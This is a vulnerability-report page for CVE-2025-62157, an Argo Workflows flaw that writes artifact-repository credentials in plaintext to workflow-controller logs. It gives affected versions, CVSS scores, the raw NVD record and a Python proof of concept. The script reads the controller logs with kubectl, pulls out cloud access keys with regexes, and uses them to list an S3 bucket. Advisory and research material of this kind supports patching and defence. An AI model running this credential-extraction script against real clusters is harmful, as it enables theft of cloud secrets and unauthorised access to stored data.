Security Vulnerability Report
中文
CVE-2025-62157 CVSS 6.5 MEDIUM

CVE-2025-62157

Published: 2025-10-14 15:16:13
Last Modified: 2026-02-06 20:49:30

Description

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Argo Workflows versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 expose artifact repository credentials in plaintext in workflow-controller pod logs. An attacker with permissions to read pod logs in a namespace running Argo Workflows can read the workflow-controller logs and obtain credentials to the artifact repository. Update to versions 3.6.12 or 3.7.3 to remediate the vulnerability. No known workarounds exist.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:* - VULNERABLE
Argo Workflows < 3.6.12
Argo Workflows 3.7.0
Argo Workflows 3.7.1
Argo Workflows 3.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62157 PoC - Argo Workflows Artifact Credentials Disclosure # This PoC demonstrates how an attacker with pod log read permissions # can extract artifact repository credentials from workflow-controller logs. import subprocess import re def exploit(target_namespace="argo", controller_label="app=workflow-controller"): """ Step 1: Identify the workflow-controller pod in the target namespace """ print("[*] Step 1: Finding workflow-controller pod...") get_pods_cmd = [ "kubectl", "get", "pods", "-n", target_namespace, "-l", controller_label, "-o", "name" ] result = subprocess.run(get_pods_cmd, capture_output=True, text=True) if result.returncode != 0: print(f"[-] Failed to list pods: {result.stderr}") return None pod_name = result.stdout.strip().split("\n")[0].replace("pod/", "") print(f"[+] Found pod: {pod_name}") """ Step 2: Retrieve the workflow-controller logs """ print("[*] Step 2: Fetching pod logs...") logs_cmd = ["kubectl", "logs", "-n", target_namespace, pod_name, "--all-containers=true"] logs_result = subprocess.run(logs_cmd, capture_output=True, text=True) if logs_result.returncode != 0: print(f"[-] Failed to get logs: {logs_result.stderr}") return None logs = logs_result.stdout print(f"[+] Retrieved {len(logs)} bytes of logs") """ Step 3: Search for artifact repository credentials in plaintext Patterns commonly found in Argo Workflows logs for S3, GCS, Azure """ print("[*] Step 3: Extracting credentials from logs...") patterns = { "aws_access_key": r"(?:aws_access_key_id|accessKey|AWS_ACCESS_KEY_ID)['\"\s:=]+([A-Z0-9]{20})", "aws_secret_key": r"(?:aws_secret_access_key|secretKey|AWS_SECRET_ACCESS_KEY)['\"\s:=]+([A-Za-z0-9/+=]{40})", "gcp_service_account": r"(?:service_account_json|serviceAccountKey|googleCredentials)['\"\s:=]+(\{[^}]+\})", "azure_account_key": r"(?:azure_account_key|accountKey|AZURE_ACCOUNT_KEY)['\"\s:=]+([A-Za-z0-9+/=]{88})", "s3_endpoint": r"(?:s3\.endpoint|S3Endpoint|s3Endpoint)['\"\s:=]+(https?://[^\s'\"]+)", "s3_bucket": r"(?:s3\.bucket|S3Bucket|s3Bucket)['\"\s:=]+([a-z0-9.-]+)", } credentials = {} for key, pattern in patterns.items(): matches = re.findall(pattern, logs, re.IGNORECASE) if matches: credentials[key] = matches print(f"[+] Found {key}: {matches[0][:10]}...") if not credentials: print("[-] No credentials found in logs") return None """ Step 4: Optionally use the credentials to access the artifact repository Example: listing objects in an S3-compatible bucket """ print("[*] Step 4: Attempting to use extracted credentials...") # Example using AWS CLI (if installed and credentials were extracted) if "aws_access_key" in credentials and "aws_secret_key" in credentials: env = { "AWS_ACCESS_KEY_ID": credentials["aws_access_key"][0], "AWS_SECRET_ACCESS_KEY": credentials["aws_secret_key"][0], } bucket = credentials.get("s3_bucket", ["my-bucket"])[0] list_cmd = ["aws", "s3", "ls", f"s3://{bucket}/"] list_result = subprocess.run(list_cmd, env=env, capture_output=True, text=True) print(f"[+] S3 bucket listing:\n{list_result.stdout}") return credentials if __name__ == "__main__": creds = exploit() if creds: print("\n[+] Exploit successful! Extracted credentials:") for k, v in creds.items(): print(f" {k}: {v}") else: print("\n[-] Exploit failed or no credentials found")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62157", "sourceIdentifier": "[email protected]", "published": "2025-10-14T15:16:12.853", "lastModified": "2026-02-06T20:49:29.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Argo Workflows versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 expose artifact repository credentials in plaintext in workflow-controller pod logs. An attacker with permissions to read pod logs in a namespace running Argo Workflows can read the workflow-controller logs and obtain credentials to the artifact repository. Update to versions 3.6.12 or 3.7.3 to remediate the vulnerability. No known workarounds exist."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionEndExcluding": "3.6.12", "matchCriteriaId": "3742ECA2-1899-4530-89C3-8AECCF7EFD8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.7.0", "versionEndExcluding": "3.7.3", "matchCriteriaId": "F948D105-1410-46C5-B1BE-FC8B7ACB5678"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/commit/18ad5138b6bcb2aba04e00b4ec657bc6b8fad8df", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/commit/bded09fe4abd37cb98d7fc81b4c14a6f5034e9ab", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-c2hv-4pfj-mm2r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}